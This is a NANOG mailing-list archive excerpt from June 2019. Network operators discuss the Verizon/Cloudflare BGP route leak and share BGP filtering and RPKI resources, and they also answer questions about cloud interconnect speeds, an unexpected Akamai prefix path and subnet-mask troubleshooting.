6/25/19 2:25 AM, Katie Holly wrote: > > Disclaimer: As much as I dislike Cloudflare (I used to complain > > about them a lot on Twitter), this is something I am absolutely > > agreeing with them. Verizon failed to do the most basic of network > > security, and it will happen again, and again, and again... > > I used to be a quality control engineer in my career, so I have a > question to ask from the perspective of a QC guy: what is the Best > Practice for minimizing, if not totally preventing, this sort of > problem? Is there a "cookbook" answer to this? > > (I only run edge networks now, and don't have BGP to worry about. If > my current $dayjob goes away -- they all do -- I might have to get > back into the BGP game, so this is not an idle query.) > > Somehow "just be careful and clueful" isn't the right answer. Here are some resources which maybe can serve as a starting point for anyone interested in the problem space: presentation: Architecting robust routing policies pdf: https://ripe77.ripe.net/presentations/59-RIPE77_Snijders_Routing_Policy_Architecture.pdf video: https://ripe77.ripe.net/archive/video/Job_Snijders-B._BGP_Policy_Update-20181017-140440.mp4 presentation: Practical Everyday BGP filtering "Peerlocking" pdf: http://instituut.net/~job/NANOG67_NTT_peerlocking_JobSnijders.pdf video: https://www.youtube.com/watch?v=CSLpWBrHy10 RFC 8212 ("EBGP default deny") and why we should ask our vendors like Cisco IOS, IOS XE, NX-OS, Juniper, Arista, Brocade, etc... to be compliant with this RFC: slides 2-14: http://largebgpcommunities.net/presentations/ITNOG3-Job_Snijders_Recent_BGP_Innovations.pdf skip to the rfc8212 part: https://youtu.be/V6Wsq66-f40?t=854 compliance tracker: http://github.com/bgp/RFC8212 The NLNOG Day in Fall 2018 has a wealth of RPKI related presentations and testimonies: https://nlnog.net/nlnog-day-2018/ Finally, there is the NLNOG BGP Filter Guide: http://bgpfilterguide.nlnog.net/ If you spot errors or have suggestions, please submit them via github https://github.com/nlnog/bgpfilterguide Please let me or the group know should you require further information, I love talking about this topic ;-) Kind regards, Job From morrowc.lists at gmail.com Tue Jun 25 14:25:50 2019 From: morrowc.lists at gmail.com (Christopher Morrow) Date: Tue, 25 Jun 2019 10:25:50 -0400 Subject: Are network operators morons? [was: CloudFlare issues?] In-Reply-To: References: <05BB24C5-9322-414B-B3DC-58BB6C895E80@gmail.com> <20190624141122.GC47956@vurt.meerval.net> <389YFhwUbb2N_1cJWv102KL5XhIbfXp-CbYLBAWB68wpqgMigmq7QHrUPAsOq_yNCQ3Yp5szlwkTA175wr8T5jUgYCz2rbZiGH1DXvRV3QQ=@plunin.net> <828b9483-149f-423d-b67e-54d2e888aba1@seacom.mu> <47d6284a-6a83-b207-e461-119e2196507f@meo.ws> Message-ID: (thanks, btw, again) On Tue, Jun 25, 2019 at 8:33 AM Patrick W. Gilmore wrote: > It is not like 701 is causing problems every week, or even ever year. If you think this one incident proves they are ‘morons’, you are only showing you are neither experienced nor mature enough to make that judgement. > I would be shocked if 701 is no longer filtering customers by default. I know they weren't filtering 'peers'. it seems like the particular case yesterday was a missed customer prefix-list :( which is sad, but happens. the japan incident seems to be the other type, I'd guess. -chris From beecher at beecher.cc Tue Jun 25 14:41:50 2019 From: beecher at beecher.cc (Tom Beecher) Date: Tue, 25 Jun 2019 10:41:50 -0400 Subject: BGP filtering study resources (Was: CloudFlare issues?) In-Reply-To: <20190625142505.GO49950@hanna.meerval.net> References: <20190625142505.GO49950@hanna.meerval.net> Message-ID: Job also enjoys having his ID checked. Can we get a best practices link added to the list for that? On Tue, Jun 25, 2019 at 10:27 AM Job Snijders wrote: > Dear Stephen, > > On Tue, Jun 25, 2019 at 07:04:12AM -0700, Stephen Satchell wrote: > > On 6/25/19 2:25 AM, Katie Holly wrote: > > > Disclaimer: As much as I dislike Cloudflare (I used to complain > > > about them a lot on Twitter), this is something I am absolutely > > > agreeing with them. Verizon failed to do the most basic of network > > > security, and it will happen again, and again, and again... > > > > I used to be a quality control engineer in my career, so I have a > > question to ask from the perspective of a QC guy: what is the Best > > Practice for minimizing, if not totally preventing, this sort of > > problem? Is there a "cookbook" answer to this? > > > > (I only run edge networks now, and don't have BGP to worry about. If > > my current $dayjob goes away -- they all do -- I might have to get > > back into the BGP game, so this is not an idle query.) > > > > Somehow "just be careful and clueful" isn't the right answer. > > Here are some resources which maybe can serve as a starting point for > anyone interested in the problem space: > > presentation: Architecting robust routing policies > pdf: > https://ripe77.ripe.net/presentations/59-RIPE77_Snijders_Routing_Policy_Architecture.pdf > video: > https://ripe77.ripe.net/archive/video/Job_Snijders-B._BGP_Policy_Update-20181017-140440.mp4 > > presentation: Practical Everyday BGP filtering "Peerlocking" > pdf: http://instituut.net/~job/NANOG67_NTT_peerlocking_JobSnijders.pdf > video: https://www.youtube.com/watch?v=CSLpWBrHy10 > > RFC 8212 ("EBGP default deny") and why we should ask our vendors like > Cisco IOS, IOS XE, NX-OS, Juniper, Arista, Brocade, etc... to be > compliant with this RFC: > slides 2-14: > http://largebgpcommunities.net/presentations/ITNOG3-Job_Snijders_Recent_BGP_Innovations.pdf > skip to the rfc8212 part: https://youtu.be/V6Wsq66-f40?t=854 > compliance tracker: http://github.com/bgp/RFC8212 > > The NLNOG Day in Fall 2018 has a wealth of RPKI related presentations > and testimonies: https://nlnog.net/nlnog-day-2018/ > > Finally, there is the NLNOG BGP Filter Guide: > http://bgpfilterguide.nlnog.net/ > If you spot errors or have suggestions, please submit them via github > https://github.com/nlnog/bgpfilterguide > > Please let me or the group know should you require further information, > I love talking about this topic ;-) > > Kind regards, > > Job > -------------- next part -------------- An HTML attachment was scrubbed... URL: From pz at wish.com Tue Jun 25 14:55:58 2019 From: pz at wish.com (Paul Zugnoni) Date: Tue, 25 Jun 2019 07:55:58 -0700 Subject: AWS 40/100G wholesale Express-Route ? In-Reply-To: References: Message-ID: Hi, Some quick terminology to be clear, AWS uses the term "Direct Connect" whereas MS Azure uses "Express Route". Right now, max link bandwidths each: - AWS Direct Connect: 10G. - Azure Express Route: 100G (though I'm unsure this is available in every location) - GCP Dedicated Interconnect: 10G (100G in beta) If your equipment is not local to a location where your desired cloud provider has the handoff, then you must have some carrier service in between. There are several partners of these cloud providers. You can buy a circuit from them to reach a port on the cloud provider side. The partner handles the lower layer connectivity into the cloud provider gear. Some partners may offer above 10G but you should review in detail how they manage the bandwidth to be sure you get the performance you need. PZ On Mon, Jun 24, 2019 at 10:00 AM Jérôme Nicolle wrote: > > Hello everyone, > > I was wondering, is there any way to get more than a 10G port for a PNI > with AWS customers ? > > Right now I'm looking at 4 ridiculously expensive X-Cos (on two > locations, so that makes 8) to establish a redundant 40Gbps backhaul, > where I have 40/100G ports available. > > How could we deal with that ? Is there an "off-market" offering for > higher speed interconnects ? > > Best regards, > > -- > Jérôme Nicolle > +33 6 19 31 27 14 > -- PZ Head of Datacenter and Network Infrastructure, Wish pz at wish.com +1-650-313-3458 From mahtin at mahtin.com Mon Jun 24 20:24:58 2019 From: mahtin at mahtin.com (Martin J. Levy) Date: Mon, 24 Jun 2019 13:24:58 -0700 Subject: How Verizon and a BGP Optimizer Knocked Large Parts of the Internet Offline Today In-Reply-To: References: Message-ID: Cloudflare blog on the outage is out. https://blog.cloudflare.com/how-verizon-and-a-bgp-optimizer-knocked-large-parts-of-the-internet-offline-today/ Martin On Mon, Jun 24, 2019 at 3:57 AM Dmitry Sherman wrote: > Hello are there any issues with CloudFlare services now? > > Dmitry Sherman > dmitry at interhost.net > Interhost Networks Ltd > Web: http://www.interhost.co.il > fb: https://www.facebook.com/InterhostIL > Office: (+972)-(0)74-7029881 Fax: (+972)-(0)53-7976157 > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From tb2848 at att.com Tue Jun 25 15:55:06 2019 From: tb2848 at att.com (BATTLES, TIM) Date: Tue, 25 Jun 2019 15:55:06 +0000 Subject: BGP filtering study resources (Was: CloudFlare issues?) In-Reply-To: References: <20190625142505.GO49950@hanna.meerval.net> Message-ID: https://www.nccoe.nist.gov/projects/building-blocks/secure-inter-domain-routing Timothy A Battles Chief Security Office 314-280-4578 tb2848 at att.com 12976 Hollenberg Dr Bridgeton, MO 63044 The information contained in this e-mail, including any attachment(s), is intended solely for use by the named addressee(s). If you are not the intended recipient, or a person designated as responsible for delivering such messages to the intended recipient, you are not authorized to disclose, copy, distribute or retain this message, in whole or in part, without written authorization from the sender. This e-mail may contain proprietary, confidential or privileged information. If you have received this message in error, please notify the sender immediately. From: NANOG On Behalf Of Tom Beecher Sent: Tuesday, June 25, 2019 9:42 AM To: Job Snijders Cc: NANOG Subject: Re: BGP filtering study resources (Was: CloudFlare issues?) Job also enjoys having his ID checked. Can we get a best practices link added to the list for that? On Tue, Jun 25, 2019 at 10:27 AM Job Snijders > wrote: Dear Stephen, On Tue, Jun 25, 2019 at 07:04:12AM -0700, Stephen Satchell wrote: > On 6/25/19 2:25 AM, Katie Holly wrote: > > Disclaimer: As much as I dislike Cloudflare (I used to complain > > about them a lot on Twitter), this is something I am absolutely > > agreeing with them. Verizon failed to do the most basic of network > > security, and it will happen again, and again, and again... > > I used to be a quality control engineer in my career, so I have a > question to ask from the perspective of a QC guy: what is the Best > Practice for minimizing, if not totally preventing, this sort of > problem? Is there a "cookbook" answer to this? > > (I only run edge networks now, and don't have BGP to worry about. If > my current $dayjob goes away -- they all do -- I might have to get > back into the BGP game, so this is not an idle query.) > > Somehow "just be careful and clueful" isn't the right answer. Here are some resources which maybe can serve as a starting point for anyone interested in the problem space: presentation: Architecting robust routing policies pdf: https://ripe77.ripe.net/presentations/59-RIPE77_Snijders_Routing_Policy_Architecture.pdf video: https://ripe77.ripe.net/archive/video/Job_Snijders-B._BGP_Policy_Update-20181017-140440.mp4 presentation: Practical Everyday BGP filtering "Peerlocking" pdf: http://instituut.net/~job/NANOG67_NTT_peerlocking_JobSnijders.pdf video: https://www.youtube.com/watch?v=CSLpWBrHy10 RFC 8212 ("EBGP default deny") and why we should ask our vendors like Cisco IOS, IOS XE, NX-OS, Juniper, Arista, Brocade, etc... to be compliant with this RFC: slides 2-14: http://largebgpcommunities.net/presentations/ITNOG3-Job_Snijders_Recent_BGP_Innovations.pdf skip to the rfc8212 part: https://youtu.be/V6Wsq66-f40?t=854 compliance tracker: http://github.com/bgp/RFC8212 The NLNOG Day in Fall 2018 has a wealth of RPKI related presentations and testimonies: https://nlnog.net/nlnog-day-2018/ Finally, there is the NLNOG BGP Filter Guide: http://bgpfilterguide.nlnog.net/ If you spot errors or have suggestions, please submit them via github https://github.com/nlnog/bgpfilterguide Please let me or the group know should you require further information, I love talking about this topic ;-) Kind regards, Job -------------- next part -------------- An HTML attachment was scrubbed... URL: From alex at nlnetlabs.nl Tue Jun 25 17:39:24 2019 From: alex at nlnetlabs.nl (Alex Band) Date: Tue, 25 Jun 2019 19:39:24 +0200 Subject: BGP filtering study resources (Was: CloudFlare issues?) In-Reply-To: References: <20190625142505.GO49950@hanna.meerval.net> Message-ID: For further community-driven RPKI information there is: https://rpki.readthedocs.io/ Along with an FAQ: https://rpki.readthedocs.io/en/latest/about/faq.html Cheers, -Alex > On 25 Jun 2019, at 17:55, BATTLES, TIM wrote: > > https://www.nccoe.nist.gov/projects/building-blocks/secure-inter-domain-routing > > Timothy A Battles > Chief Security Office > 314-280-4578 > tb2848 at att.com > 12976 Hollenberg Dr > Bridgeton, MO 63044 > > The information contained in this e-mail, including any attachment(s), is intended solely for use by the named addressee(s). If you are not the intended recipient, or a person designated as responsible for delivering such messages to the intended recipient, you are not authorized to disclose, copy, distribute or retain this message, in whole or in part, without written authorization from the sender. This e-mail may contain proprietary, confidential or privileged information. If you have received this message in error, please notify the sender immediately. > > > From: NANOG On Behalf Of Tom Beecher > Sent: Tuesday, June 25, 2019 9:42 AM > To: Job Snijders > Cc: NANOG > Subject: Re: BGP filtering study resources (Was: CloudFlare issues?) > > Job also enjoys having his ID checked. Can we get a best practices link added to the list for that? > > On Tue, Jun 25, 2019 at 10:27 AM Job Snijders wrote: > Dear Stephen, > > On Tue, Jun 25, 2019 at 07:04:12AM -0700, Stephen Satchell wrote: > > On 6/25/19 2:25 AM, Katie Holly wrote: > > > Disclaimer: As much as I dislike Cloudflare (I used to complain > > > about them a lot on Twitter), this is something I am absolutely > > > agreeing with them. Verizon failed to do the most basic of network > > > security, and it will happen again, and again, and again... > > > > I used to be a quality control engineer in my career, so I have a > > question to ask from the perspective of a QC guy: what is the Best > > Practice for minimizing, if not totally preventing, this sort of > > problem? Is there a "cookbook" answer to this? > > > > (I only run edge networks now, and don't have BGP to worry about. If > > my current $dayjob goes away -- they all do -- I might have to get > > back into the BGP game, so this is not an idle query.) > > > > Somehow "just be careful and clueful" isn't the right answer. > > Here are some resources which maybe can serve as a starting point for > anyone interested in the problem space: > > presentation: Architecting robust routing policies > pdf: https://ripe77.ripe.net/presentations/59-RIPE77_Snijders_Routing_Policy_Architecture.pdf > video: https://ripe77.ripe.net/archive/video/Job_Snijders-B._BGP_Policy_Update-20181017-140440.mp4 > > presentation: Practical Everyday BGP filtering "Peerlocking" > pdf: http://instituut.net/~job/NANOG67_NTT_peerlocking_JobSnijders.pdf > video: https://www.youtube.com/watch?v=CSLpWBrHy10 > > RFC 8212 ("EBGP default deny") and why we should ask our vendors like > Cisco IOS, IOS XE, NX-OS, Juniper, Arista, Brocade, etc... to be > compliant with this RFC: > slides 2-14: http://largebgpcommunities.net/presentations/ITNOG3-Job_Snijders_Recent_BGP_Innovations.pdf > skip to the rfc8212 part: https://youtu.be/V6Wsq66-f40?t=854 > compliance tracker: http://github.com/bgp/RFC8212 > > The NLNOG Day in Fall 2018 has a wealth of RPKI related presentations > and testimonies: https://nlnog.net/nlnog-day-2018/ > > Finally, there is the NLNOG BGP Filter Guide: http://bgpfilterguide.nlnog.net/ > If you spot errors or have suggestions, please submit them via github > https://github.com/nlnog/bgpfilterguide > > Please let me or the group know should you require further information, > I love talking about this topic ;-) > > Kind regards, > > Job From scott at viviotech.net Tue Jun 25 16:41:17 2019 From: scott at viviotech.net (Scott) Date: Tue, 25 Jun 2019 09:41:17 -0700 Subject: Public Subnet re-assignments Message-ID: <3947f799-c838-9b05-9a1e-f6f99df685b3@viviotech.net> First, sorry if this is a bit of a noob question. I'm trying to find a way of preventing a slew of traffic to an IP, or IP's, when I join two /30 public subnets to a /29. It appears that while the ranges are /30 someone is trying to brute-force the network and/or broadcast addresses for the ranges. When I change them to be a /29, now the router sees the traffic and starts dropping packets. Are there any suggestions for mitigating this behavior or is it just the nature of the beast? -- 101010 From randy at psg.com Tue Jun 25 20:57:13 2019 From: randy at psg.com (Randy Bush) Date: Tue, 25 Jun 2019 13:57:13 -0700 Subject: CloudFlare issues? In-Reply-To: <8E5FE05E-A703-4AEF-B0ED-7267DBE64CA0@puck.nether.net> References: <05BB24C5-9322-414B-B3DC-58BB6C895E80@gmail.com> <20190624141122.GC47956@vurt.meerval.net> <389YFhwUbb2N_1cJWv102KL5XhIbfXp-CbYLBAWB68wpqgMigmq7QHrUPAsOq_yNCQ3Yp5szlwkTA175wr8T5jUgYCz2rbZiGH1DXvRV3QQ=@plunin.net> <828b9483-149f-423d-b67e-54d2e888aba1@seacom.mu> <8E5FE05E-A703-4AEF-B0ED-7267DBE64CA0@puck.nether.net> Message-ID: >> Respectfully, I believe Cloudflare’s public comments today have been >> a real disservice. This blog post, and your CEO on Twitter today, >> took every opportunity to say “DAMN THOSE MORONS AT 701!”. They’re >> not. > > I presume that seeing a CF blog post isn’t regular for you. :-). never seen such a thing :) amidst all this conjecturbation and blame casting, have any of the parties *directly* involved, i.e. 701 and their customer, issued any sort of post mortem from which we might learn? randy From randy at psg.com Tue Jun 25 21:00:51 2019 From: randy at psg.com (Randy Bush) Date: Tue, 25 Jun 2019 14:00:51 -0700 Subject: Are network operators morons? [was: CloudFlare issues?] In-Reply-To: References: <05BB24C5-9322-414B-B3DC-58BB6C895E80@gmail.com> <20190624141122.GC47956@vurt.meerval.net> <389YFhwUbb2N_1cJWv102KL5XhIbfXp-CbYLBAWB68wpqgMigmq7QHrUPAsOq_yNCQ3Yp5szlwkTA175wr8T5jUgYCz2rbZiGH1DXvRV3QQ=@plunin.net> <828b9483-149f-423d-b67e-54d2e888aba1@seacom.mu> <47d6284a-6a83-b207-e461-119e2196507f@meo.ws> Message-ID: perhaps the good side of this saga is that it may be an inflection point randy From sean at donelan.com Tue Jun 25 21:22:02 2019 From: sean at donelan.com (Sean Donelan) Date: Tue, 25 Jun 2019 17:22:02 -0400 (EDT) Subject: Are network operators morons? [was: CloudFlare issues?] In-Reply-To: References: <05BB24C5-9322-414B-B3DC-58BB6C895E80@gmail.com> <20190624141122.GC47956@vurt.meerval.net> <389YFhwUbb2N_1cJWv102KL5XhIbfXp-CbYLBAWB68wpqgMigmq7QHrUPAsOq_yNCQ3Yp5szlwkTA175wr8T5jUgYCz2rbZiGH1DXvRV3QQ=@plunin.net> <828b9483-149f-423d-b67e-54d2e888aba1@seacom.mu> <47d6284a-6a83-b207-e461-119e2196507f@meo.ws> Message-ID: On Tue, 25 Jun 2019, Randy Bush wrote: > perhaps the good side of this saga is that it may be an inflection point I doubt it. The greyer my hair gets, the crankier I get. From sean at donelan.com Tue Jun 25 21:24:13 2019 From: sean at donelan.com (Sean Donelan) Date: Tue, 25 Jun 2019 17:24:13 -0400 (EDT) Subject: FCC workshop: Security vulnerabilities within our communications networks In-Reply-To: References: Message-ID: On Fri, 21 Jun 2019, Sean Donelan wrote: > Federal Communications Commissioner Geoffrey Starks is holding a workshop > next week, June 27, 2019, to hear from interested parties on how to address > the national security threats posed by insecure equipment within our > communications networks. The agenda for the FCC network security workshop has been published. https://www.fcc.gov/document/commissioner-starks-releases-agenda-network-security-workshop From randy at psg.com Tue Jun 25 21:30:10 2019 From: randy at psg.com (Randy Bush) Date: Tue, 25 Jun 2019 14:30:10 -0700 Subject: Are network operators morons? [was: CloudFlare issues?] In-Reply-To: References: <05BB24C5-9322-414B-B3DC-58BB6C895E80@gmail.com> <20190624141122.GC47956@vurt.meerval.net> <389YFhwUbb2N_1cJWv102KL5XhIbfXp-CbYLBAWB68wpqgMigmq7QHrUPAsOq_yNCQ3Yp5szlwkTA175wr8T5jUgYCz2rbZiGH1DXvRV3QQ=@plunin.net> <828b9483-149f-423d-b67e-54d2e888aba1@seacom.mu> <47d6284a-6a83-b207-e461-119e2196507f@meo.ws> Message-ID: >> perhaps the good side of this saga is that it may be an inflection >> point > I doubt it. > The greyer my hair gets, the crankier I get. i suspect i am a bit ahead of you there but i used to think that the public would never become aware of privacy issues. snowen bumped that ball and tim cook spiked it. and it is getting more and more air time. randy From edugas at unknowndevice.ca Tue Jun 25 21:42:52 2019 From: edugas at unknowndevice.ca (Eric Dugas) Date: Tue, 25 Jun 2019 17:42:52 -0400 Subject: 80.67.75.0/24 (Akamai) announced by Kazakhtelecom Message-ID: Got alerts for 80.67.75.0/24 (Akamai) normally announced by Tier1 providers routed by a long AS path from our of our peers: 80.67.75.0/24 AS path: 9002 9198 43727 6762 2914 23454 23454 I, validation-state: unknown 80.67.64.0/19 AS path: 1299 3257 34164 I just got home and it seems Akamai already reacted: 80.67.75.0/24 AS path: 174 2914 23454 23454 AS path: 1299 2914 23454 23454 Less damage (as far as I can see) but what a bad week for BGP so far... -------------- next part -------------- An HTML attachment was scrubbed... URL: From mel at beckman.org Tue Jun 25 22:27:13 2019 From: mel at beckman.org (Mel Beckman) Date: Tue, 25 Jun 2019 22:27:13 +0000 Subject: Public Subnet re-assignments In-Reply-To: <3947f799-c838-9b05-9a1e-f6f99df685b3@viviotech.net> References: <3947f799-c838-9b05-9a1e-f6f99df685b3@viviotech.net> Message-ID: <46A2B7CF-85E8-404F-9052-B50D50822FAF@beckman.org> You’re using just the two middle IPs in the four that make up the /30 set, right? IOW, the subnet x.x.x.0/30 should have .0 and .3 unused (they’re broadcast), and you use .1 and .2. -mel > On Jun 25, 2019, at 9:41 AM, Scott wrote: > > First, sorry if this is a bit of a noob question. > > I'm trying to find a way of preventing a slew of traffic to an IP, or > IP's, when I join two /30 public subnets to a /29. It appears that while > the ranges are /30 someone is trying to brute-force the network and/or > broadcast addresses for the ranges. When I change them to be a /29, now > the router sees the traffic and starts dropping packets. Are there any > suggestions for mitigating this behavior or is it just the nature of the > beast? > > -- > 101010 > > From mel at beckman.org Tue Jun 25 22:30:39 2019 From: mel at beckman.org (Mel Beckman) Date: Tue, 25 Jun 2019 22:30:39 +0000 Subject: Public Subnet re-assignments In-Reply-To: <46A2B7CF-85E8-404F-9052-B50D50822FAF@beckman.org> References: <3947f799-c838-9b05-9a1e-f6f99df685b3@viviotech.net> <46A2B7CF-85E8-404F-9052-B50D50822FAF@beckman.org> Message-ID: Also, what do you mean by “join to /30 public subnets to a /29”? You can’t overlap subnets, if that’s what you’re thinking. -mel > On Jun 25, 2019, at 3:27 PM, Mel Beckman wrote: > > You’re using just the two middle IPs in the four that make up the /30 set, right? IOW, the subnet x.x.x.0/30 should have .0 and .3 unused (they’re broadcast), and you use .1 and .2. > > -mel > >> On Jun 25, 2019, at 9:41 AM, Scott wrote: >> >> First, sorry if this is a bit of a noob question. >> >> I'm trying to find a way of preventing a slew of traffic to an IP, or >> IP's, when I join two /30 public subnets to a /29. It appears that while >> the ranges are /30 someone is trying to brute-force the network and/or >> broadcast addresses for the ranges. When I change them to be a /29, now >> the router sees the traffic and starts dropping packets. Are there any >> suggestions for mitigating this behavior or is it just the nature of the >> beast? >> >> -- >> 101010 >> >> > From scott at viviotech.net Tue Jun 25 22:50:53 2019 From: scott at viviotech.net (Scott) Date: Tue, 25 Jun 2019 15:50:53 -0700 Subject: Public Subnet re-assignments In-Reply-To: References: <3947f799-c838-9b05-9a1e-f6f99df685b3@viviotech.net> <46A2B7CF-85E8-404F-9052-B50D50822FAF@beckman.org> Message-ID: <7202eefe-44a2-b6df-a4b8-e0e8ff5f7c0f@viviotech.net> No nothing like that. I'm just removing the .0/30 and 4/30 subnets and adding .0/29. To  your previous question, yes .0 and .3 are unused. Once I change the subnet .3 becomes a usable IP and it's getting hammered with traffic, causing packet loss. On 6/25/19 3:30 PM, Mel Beckman wrote: > Also, what do you mean by “join to /30 public subnets to a /29”? You can’t overlap subnets, if that’s what you’re thinking. > > -mel > >> On Jun 25, 2019, at 3:27 PM, Mel Beckman wrote: >> >> You’re using just the two middle IPs in the four that make up the /30 set, right? IOW, the subnet x.x.x.0/30 should have .0 and .3 unused (they’re broadcast), and you use .1 and .2. >> >> -mel >> >>> On Jun 25, 2019, at 9:41 AM, Scott wrote: >>> >>> First, sorry if this is a bit of a noob question. >>> >>> I'm trying to find a way of preventing a slew of traffic to an IP, or >>> IP's, when I join two /30 public subnets to a /29. It appears that while >>> the ranges are /30 someone is trying to brute-force the network and/or >>> broadcast addresses for the ranges. When I change them to be a /29, now >>> the router sees the traffic and starts dropping packets. Are there any >>> suggestions for mitigating this behavior or is it just the nature of the >>> beast? >>> >>> -- >>> 101010 >>> >>> -- 101010 From surfer at mauigateway.com Tue Jun 25 22:57:33 2019 From: surfer at mauigateway.com (Scott Weeks) Date: Tue, 25 Jun 2019 15:57:33 -0700 Subject: Public Subnet re-assignments Message-ID: <20190625155733.43D190D9@m0117460.ppops.net> --- scott at viviotech.net wrote: From: Scott To your previous question, yes .0 and .3 are unused. Once I change the subnet .3 becomes a usable IP and it's getting hammered with traffic, causing packet loss. -------------------------------------- Is it legitimate traffic or DDoS stuff? scott From mel at beckman.org Tue Jun 25 23:01:06 2019 From: mel at beckman.org (Mel Beckman) Date: Tue, 25 Jun 2019 23:01:06 +0000 Subject: Public Subnet re-assignments In-Reply-To: <7202eefe-44a2-b6df-a4b8-e0e8ff5f7c0f@viviotech.net> References: <3947f799-c838-9b05-9a1e-f6f99df685b3@viviotech.net> <46A2B7CF-85E8-404F-9052-B50D50822FAF@beckman.org> <7202eefe-44a2-b6df-a4b8-e0e8ff5f7c0f@viviotech.net> Message-ID: If the sources are from many different IPs, it could be a DDoS attack that you simply didn’t notice before. You can black-hole individual IPs using a /32 null0 route. That will at least stop your border router from trying to ARP the destination, reducing broadcast traffic on the subnet. In fact, it’s a good idea to configure /32 null0 routes for IPs you don’t use. Those IPs can’t then be scanned. -mel > On Jun 25, 2019, at 3:50 PM, Scott wrote: > > No nothing like that. I'm just removing the .0/30 and 4/30 subnets and > adding .0/29. > > To your previous question, yes .0 and .3 are unused. Once I change the > subnet .3 becomes a usable IP and it's getting hammered with traffic, > causing packet loss. > > On 6/25/19 3:30 PM, Mel Beckman wrote: >> Also, what do you mean by “join to /30 public subnets to a /29”? You can’t overlap subnets, if that’s what you’re thinking. >> >> -mel >> >>> On Jun 25, 2019, at 3:27 PM, Mel Beckman wrote: >>> >>> You’re using just the two middle IPs in the four that make up the /30 set, right? IOW, the subnet x.x.x.0/30 should have .0 and .3 unused (they’re broadcast), and you use .1 and .2. >>> >>> -mel >>> >>>> On Jun 25, 2019, at 9:41 AM, Scott wrote: >>>> >>>> First, sorry if this is a bit of a noob question. >>>> >>>> I'm trying to find a way of preventing a slew of traffic to an IP, or >>>> IP's, when I join two /30 public subnets to a /29. It appears that while >>>> the ranges are /30 someone is trying to brute-force the network and/or >>>> broadcast addresses for the ranges. When I change them to be a /29, now >>>> the router sees the traffic and starts dropping packets. Are there any >>>> suggestions for mitigating this behavior or is it just the nature of the >>>> beast? >>>> >>>> -- >>>> 101010 >>>> >>>> > -- > 101010 > From michel.py at tsisemi.com Tue Jun 25 23:07:04 2019 From: michel.py at tsisemi.com (Michel Py) Date: Tue, 25 Jun 2019 23:07:04 +0000 Subject: Public Subnet re-assignments In-Reply-To: <7202eefe-44a2-b6df-a4b8-e0e8ff5f7c0f@viviotech.net> References: <3947f799-c838-9b05-9a1e-f6f99df685b3@viviotech.net> <46A2B7CF-85E8-404F-9052-B50D50822FAF@beckman.org> <7202eefe-44a2-b6df-a4b8-e0e8ff5f7c0f@viviotech.net> Message-ID: <1c9973344be04b1895191982c17260e8@CRA114.am.necel.com> > Scott wrote : > No nothing like that. I'm just removing the .0/30 and 4/30 subnets and adding .0/29. > To your previous question, yes .0 and .3 are unused. Once I change the subnet .3 > becomes a usable IP and it's getting hammered with traffic, causing packet loss. You change the subnet mask on both sides, right ? Looks to me like expected behavior. On the sending router, with a /30 mask the .3 address is not usable, so the sending router does not send traffic. When you change to the /29 mask, .3 becomes usable, the sending router ARPs it, and starts sending traffic. In a way, that is possibly good news, as it allows you do find out that you may have a DOS or a DDOS attack going on your .3 address. Michel. On 6/25/19 3:30 PM, Mel Beckman wrote: > Also, what do you mean by “join to /30 public subnets to a /29”? You can’t overlap subnets, if that’s what you’re thinking. > > -mel > >> On Jun 25, 2019, at 3:27 PM, Mel Beckman wrote: >> >> You’re using just the two middle IPs in the four that make up the /30 set, right? IOW, the subnet x.x.x.0/30 should have .0 and .3 unused (they’re broadcast), and you use .1 and .2. >> >> -mel >> >>> On Jun 25, 2019, at 9:41 AM, Scott wrote: >>> >>> First, sorry if this is a bit of a noob question. >>> >>> I'm trying to find a way of preventing a slew of traffic to an IP, or >>> IP's, when I join two /30 public subnets to a /29. It appears that while >>> the ranges are /30 someone is trying to brute-force the network and/or >>> broadcast addresses for the ranges. When I change them to be a /29, now >>> the router sees the traffic and starts dropping packets. Are there any >>> suggestions for mitigating this behavior or is it just the nature of the >>> beast? >>> >>> -- >>> 101010 >>> >>> -- 101010 TSI Disclaimer: This message and any files or text attached to it are intended only for the recipients named above and contain information that may be confidential or privileged. If you are not the intended recipient, you must not forward, copy, use or otherwise disclose this communication or the information contained herein. In the event you have received this message in error, please notify the sender immediately by replying to this message, and then delete all copies of it from your system. Thank you!... -------------- next part -------------- An HTML attachment was scrubbed... URL: From jared at puck.nether.net Tue Jun 25 23:32:19 2019 From: jared at puck.nether.net (Jared Mauch) Date: Tue, 25 Jun 2019 19:32:19 -0400 Subject: 80.67.75.0/24 (Akamai) announced by Kazakhtelecom In-Reply-To: References: Message-ID: Yes. I saw this earlier today. It’s complex to unwind so many years of this config :-) Sent from my iCar > On Jun 25, 2019, at 5:42 PM, Eric Dugas wrote: > > Got alerts for 80.67.75.0/24 (Akamai) normally announced by Tier1 providers routed by a long AS path from our of our peers: > > 80.67.75.0/24 AS path: 9002 9198 43727 6762 2914 23454 23454 I, validation-state: unknown > 80.67.64.0/19 AS path: 1299 3257 34164 > > I just got home and it seems Akamai already reacted: > > 80.67.75.0/24 AS path: 174 2914 23454 23454 > AS path: 1299 2914 23454 23454 > > Less damage (as far as I can see) but what a bad week for BGP so far... -------------- next part -------------- An HTML attachment was scrubbed... URL: From mel at beckman.org Wed Jun 26 00:22:08 2019 From: mel at beckman.org (Mel Beckman) Date: Wed, 26 Jun 2019 00:22:08 +0000 Subject: Public Subnet re-assignments In-Reply-To: <1c9973344be04b1895191982c17260e8@CRA114.am.necel.com> References: <3947f799-c838-9b05-9a1e-f6f99df685b3@viviotech.net> <46A2B7CF-85E8-404F-9052-B50D50822FAF@beckman.org> <7202eefe-44a2-b6df-a4b8-e0e8ff5f7c0f@viviotech.net>, <1c9973344be04b1895191982c17260e8@CRA114.am.necel.com> Message-ID: <01F09F5D-B787-4CB9-AA23-1D652B7D9304@beckman.org> Michel is right. This is a common configuration error: failing to have the mask agree on all interfaces. This is indeed what you would see. -mel On Jun 25, 2019, at 4:07 PM, Michel Py > wrote: > Scott wrote : > No nothing like that. I'm just removing the .0/30 and 4/30 subnets and adding .0/29. > To your previous question, yes .0 and .3 are unused. Once I change the subnet .3 > becomes a usable IP and it's getting hammered with traffic, causing packet loss. You change the subnet mask on both sides, right ? Looks to me like expected behavior. On the sending router, with a /30 mask the .3 address is not usable, so the sending router does not send traffic. When you change to the /29 mask, .3 becomes usable, the sending router ARPs it, and starts sending traffic. In a way, that is possibly good news, as it allows you do find out that you may have a DOS or a DDOS attack going on your .3 address. Michel. On 6/25/19 3:30 PM, Mel Beckman wrote: > Also, what do you mean by “join to /30 public subnets to a /29”? You can’t overlap subnets, if that’s what 